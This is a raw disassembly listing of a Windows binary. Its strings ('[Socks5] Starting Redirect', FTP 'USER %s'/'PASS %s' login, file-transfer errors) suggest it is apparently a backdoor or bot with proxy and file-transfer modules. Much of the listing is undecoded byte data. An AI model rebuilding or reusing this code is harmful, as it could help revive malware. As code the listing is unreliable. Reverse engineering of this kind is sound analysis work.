CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6DD push offset byte_448F40 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi ; atoi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A5D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473D8h, 3365E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44742C68h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 1C681875h, 0E8004474h, 778091FEh, 4C48390h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 447414h, 91ACE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 44740468h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 72046807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh dd 83F08B90h, 0F33B08C4h, 0FC681E75h, 90004473h, 809145E8h dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 73FC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: ___:0042E556p ; sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103B8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103B8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471F4 ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi call near ptr 77C1F2BCh nop mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103B8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h xor byte ptr [esp+eax*2+0], 0E8h mov ch, 88h xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42DE00 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push 